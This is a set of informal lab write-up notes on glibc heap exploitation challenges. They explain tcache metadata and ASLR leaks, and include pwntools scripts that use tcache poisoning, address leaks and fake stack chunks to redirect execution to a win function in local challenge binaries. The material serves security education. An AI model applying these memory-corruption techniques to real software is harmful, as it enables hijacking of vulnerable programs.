The challenge mentions: “If you attempt to malloc an address near where the secret is stored, it will be discarded.”
_Obviously, _when you free a chunk and it goes into the tcache (Thread Local Cache), the allocator writes two pieces of metadata into the chunk’s user data area:
**next**: A pointer to the next free chunk in the tcache bin.
**key**: A 64-bit value used to detect Double Free vulnerabilities.
The chunk is removed from the tcache. The allocator zeros out the <font style="color:rgb(68, 71, 70);">key</font>field (and the <font style="color:rgb(68, 71, 70);">next</font>pointer) before handing the memory to you. This ensures that your “fresh” memory doesn’t contain sensitive heap pointers.
The allocator checks if the chunk is already in the tcache using the <font style="color:rgb(68, 71, 70);">key</font>. If not, it stores the address of the <font style="color:rgb(68, 71, 70);">tcache_perthread_struct</font>into the <font style="color:rgb(68, 71, 70);">key</font>field of the chunk.
The **next** pointer is at the start of the chunk.
The **key** pointer is 8 bytes after the start.
Utilizing the zeros out in malloc to reset secret.
In <font style="color:rgb(31, 31, 31);">glibc</font> heap management, memory is typically aligned to 16 bytes****.
[LEAK] The local stack address of your allocations is at: 0x7ffc2d8018f0.
[LEAK] The address of main is at: 0x60315757bafd.“
Two critical pieces of information:
Stack Leak ( _0x7ffc2d8018f0 _): This tells you exactly where your allocations array (the list of pointers) is stored in memory. If you can overwrite a pointer here or a return address nearby, you can redirect the program’s execution.
Main Leak ( _0x60315757bafd _): This helps you bypass ASLR (Address Space Layout Randomization). By knowing where main is, you can calculate the location of other functions, like a win() function or the system() function in the C library.
Find win funtion
win_addr = (main_leak - 0x1afd) + 0x1a00
This is the start of allocations array (rbp - 0x110)
In [3]: from pwn import * ...: addr = 0x422a68 ...: secret =16*b'\00' ...: def cyc(): ...: p.recvuntil(b"[LEAK] The local stack address of your allocations is at: ") ...: alloc_stack = p.recv(14) ...: alloc_stack = int(alloc_stack, 16) ...: p.recvuntil(b"[LEAK] The address of main is at: ") ...: main_addr = p.recv(14) ...: main_addr = int(main_addr, 16) ...: ret_addr = alloc_stack + 0x118 ...: win_addr = main_addr - 0x1afd + 0x1a00 ...: print(hex(ret_addr)) ...: print(hex(win_addr)) ...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'malloc\n 1\n 88\n') ...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'malloc\n 2\n 88\n') ...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'free\n 1\n ') ...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'free\n 2\n ') ...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'scanf\n 2\n ') ...: p.sendline(p64(ret_addr)) ...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'malloc\n 1\n 88\n') ...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'malloc\n 2\n 88\n') ...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'scanf\n 2\n ') ...: p.sendline(p64(win_addr)) ...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'q\n ') ...: ...: p = process('/challenge/sus-sequence-easy') ...: #out = b'' ...: cyc() ...: p.interactive()
Sus Sequence (Hard)
Echo Emanations (Easy)
wow
echo: Takes an index and a “length.” It calculates a new address (pointer + length) and passes it to a specialized echo function.
This function is a wrapper for the system call execve. It behaves as follows:
It mallocs a new 0x20 byte chunk.
It builds an argv array (arguments for a program) inside that chunk:
argv[0]: Points to the string /bin/echo (stored at bin_echo).
argv[1]: Points to the string Data:.
argv[2]: Points to the address calculated in main (user_ptr + user_length).
argv[3]: NULL.
It then forks. The child process runs execve("/bin/echo", argv, NULL), which effectively prints the data located at user_ptr + user_length.
IDA
what’s execve?
Return to assembly
The “echo” funtion malloc 0x20 at start
we can free a 0x20-chunk before call echo, the chunk-A will be allocted to echo funtion
When call echo 0 0, the echo function does its own internal malloc(0x20) (32 bytes). Because of the LIFO rule, the **echo** function is now using **CHUNK_A** to build its **argv** array
The function then writes specific pointers into CHUNK_A:
At **CHUNK_A + 0**: It writes the address of the string **"/bin/echo"**.
At **CHUNK_A + 8**: It writes the address of the string **"Data:"** (which is on the stack).
According to the assembly, argv[2] (the second thing /bin/echo will print) is calculated as arg1 + arg2.
You passed arg1 = allocations[0] (which is the address of CHUNK_A).
You passed arg2 = 0.
Therefore, argv[2] points to **the start of ****CHUNK_A**.
What is at the start of CHUNK_A?
The memory address of the string **"/bin/echo"** itself.
In [4]: from pwn import * ...: addr = 0x422a68 ...: def cyc(): ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 0\n 30\n') ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'free\n0\n') ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'echo\n 0\n 0\n') ...: p.recvuntil(b"Data: ") ...: base_addr = u64(p.recv(6).ljust(8,b"\x00")) - 0x33f8 ...: win_addr = base_addr +0x1b00 ...: print(hex(win_addr)) ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'echo\n 0\n 8\n') ...: p.recvuntil(b"Data: ") ...: main_ret_addr = u64(p.recv(6).ljust(8,b"\x00")) + 0x16e + 0x8 ...: print(hex(main_ret_addr)) ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 1\n 88\n') ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 2\n 88\n') ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'free\n 1\n ') ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'free\n 2\n ') ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'scanf\n 2\n ') ...: p.sendline(p64(main_ret_addr)) ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 1\n 88\n') ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 2\n 88\n') ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'scanf\n 2\n ') ...: p.sendline(p64(win_addr)) ...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'q\n ') ...: ...: p = process('/challenge/echo-emanations-easy') ...: #out = b'' ...: cyc() ...: p.interactive()
Echo Emanations (Hard)
Stack Spoofing (Easy)
The stack_free:
It calculates (rbp - 0x90) + 0x40, which is **rbp - 0x50**.
It then calls **free()**** on that stack address**. Under normal circumstances, this would crash the program. You must set up a “fake chunk” metadata header for this to succeed.
The stack_scanf:
It write data to rbp - 0x90
The stack_free target is at rbp - 0x50, you can use this command to write the “Fake Size” (0x81) at the correct offset to satisfy the heap allocator’s checks.
The stack_malloc_win:
This is the final test. It requests a 0x70 byte chunk.
If your “Stack Spoofing” worked, the Tcache will return the stack address **rbp - 0x50**.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
In [1]: from pwn import * ...: offset = 0x90-0x58 ...: def cyc(): ...: #p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 0\n 30\n') ...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): ", b"stack_scanf") ...: ...: p.sendline(b"k"*offset +p64(0x41)) ...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): ", b"stack_free") ...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): ", b"stack_malloc_win") ...: #p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): ", b"q") ...: p = process('/challenge/stack-spoofing-hard') ...: #out = b'' ...: cyc() ...: p.interactive()
Stack Spoofing (Hard)
malloc 0x35
Stack Summoning (Easy)
Leak secret ?
We can overwrite secret or puts it
Make secret and stored to rbp - 0xad
stack_scanf funtion, scanf at rbp - 0x150
We can utilize it to make fake chunk
The stack_free will free rbp - 0x110
Free, malloc and scanf
Then, puts or overwrite the secret
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
In [7]: from pwn import * ...: offset = 0x150 - (0x110 +0x8) ...: def cyc(): ...: #p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 0\n 30\n') ...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"stack_scanf") ...: ...: p.sendline(b"k"*offset +p64(0x91)) ...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"stack_free") ...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"malloc \n 0 \n128\n") ...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"scanf \n 0") ...: p.sendline(b"k"*(0x63+0x10)) ...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"send_flag\n") ...: p.sendline(b'k'*0x10) ...: #p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): ", b"q") ...: p = process('/challenge/stack-summoning-easy') ...: #out = b'' ...: cyc() ...: p.interactive()